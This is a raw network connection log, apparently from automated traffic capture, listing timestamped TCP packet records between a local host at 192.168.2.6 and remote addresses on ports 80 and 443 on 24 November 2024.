Nov 24, 2024 00:06:51.580075979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.580127001 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.580790043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.580833912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.580874920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.581674099 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.581724882 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.581768036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.581811905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.582535028 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.582587004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.582645893 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.582704067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.583452940 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.583472013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.583503962 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.583518982 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.584290981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.584342003 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.584414959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.584497929 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.585167885 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.585215092 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.585303068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.585347891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.586035013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.586081982 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.586148024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.586193085 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.586929083 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.586973906 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.587035894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.587074995 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.587819099 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.587863922 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.587928057 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.587976933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.588710070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.588754892 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.588800907 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.588895082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.589575052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.589622974 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.589677095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.589728117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.590497017 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.590513945 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.590545893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.590569973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.591559887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.591605902 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.591671944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.591717005 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.592184067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.592232943 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.592287064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.592341900 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.593049049 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.593060970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.593137980 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.593137980 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.593153000 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.593167067 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.593183041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.593189001 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.593202114 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.593230009 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.593930960 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.593980074 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.594038963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.594083071 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.594882011 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.594924927 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.594948053 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.594971895 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.600049019 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.600215912 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.600425959 CET	49884	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.600532055 CET	49884	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.600579977 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.600610018 CET	49884	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.600626945 CET	443	49884	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.603863001 CET	49894	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.603904009 CET	443	49894	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.604232073 CET	49894	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.604489088 CET	49894	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.604504108 CET	443	49894	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.609318972 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.609374046 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.609420061 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.609433889 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.609472990 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.609472990 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.624697924 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.624763012 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.624773979 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.624806881 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.624878883 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.624878883 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.641078949 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.641136885 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.641204119 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.641204119 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.641213894 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.641557932 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.697900057 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.697947025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.698020935 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.698064089 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.698287010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.698343039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.698374033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.698411942 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.699193954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.699256897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.699305058 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.699599981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.700097084 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.700222969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.700282097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.700932026 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.701093912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.701157093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.701869965 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.701916933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.701984882 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.702678919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.702725887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.702776909 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.703562975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.703624010 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.703668118 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.703753948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.704447985 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.704516888 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.704567909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.704610109 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.705296993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.705352068 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.705410004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.705451012 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.706190109 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.706295967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.706321955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.706556082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.707067013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.707124949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.707169056 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.707251072 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.707942009 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.708019972 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.708034039 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.708075047 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.708813906 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.708868980 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.708919048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.708991051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.709695101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.709753036 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.709803104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.709851027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.710572004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.710645914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.710674047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.710793018 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.711447001 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.711500883 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.711580992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.711646080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.712316036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.712366104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.712415934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.712462902 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.713205099 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.713253975 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.713304043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.713347912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.714107037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.714211941 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.714241028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.714260101 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.756941080 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.756970882 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.757081985 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.757091999 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.757673025 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.769234896 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.769248962 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.769324064 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.769335985 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.769840956 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.777396917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.777462006 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.777489901 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.777539015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.777658939 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.777719975 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.777789116 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.777832031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.778532028 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.778583050 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.778583050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.778683901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.779220104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.779238939 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.779275894 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.779293060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.779625893 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.779639006 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.779730082 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.779736042 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.779994965 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.780055046 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.780092001 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.780215025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.780915022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.780977964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.781017065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.781065941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.781805038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.781857014 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.781920910 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.781971931 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.782696009 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.782742023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.782830954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.782900095 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.783560038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.783600092 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.783610106 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.783704996 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.784435987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.784485102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.784542084 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.784589052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.785310030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.785361052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.785413980 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.785465002 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.786165953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.786218882 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.786272049 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.786314964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.787062883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.787111998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.787152052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.787209988 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.787933111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.788002968 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.788054943 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.788099051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.788852930 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.788919926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.788969040 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.789722919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.789761066 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.789769888 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.789808989 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.790613890 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.790666103 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.790671110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.790810108 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.791496038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.791527033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.791548014 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.791642904 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.791682959 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.791696072 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.791768074 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.791768074 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.791774988 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.792284012 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.792325020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.792448044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.792500973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.793276072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.793318033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.793329000 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.793363094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.794097900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.794153929 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.794259071 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.794336081 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.794987917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.795001030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.795037985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.795906067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.795921087 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.795964956 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.796745062 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.796767950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.796869040 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.797622919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.797667027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.797724009 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.797769070 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.798496008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.798512936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.798552990 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.798567057 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.799360037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.799479008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.799546003 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.800160885 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.800210953 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.800223112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.800228119 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.800234079 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.800265074 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.800292015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.800295115 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.800318956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.800374031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.800704956 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.800719023 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.801126003 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.801214933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.801354885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.801990986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.802084923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.802129984 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.802154064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.802867889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.803000927 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.803045988 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.803736925 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.803809881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.803853989 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.803930044 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.804652929 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.804713964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.804765940 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.804810047 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.805483103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.805541039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.805582047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.805622101 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.903333902 CET	49895	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.903381109 CET	443	49895	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.903496027 CET	49895	443	192.168.2.6	13.107.246.40
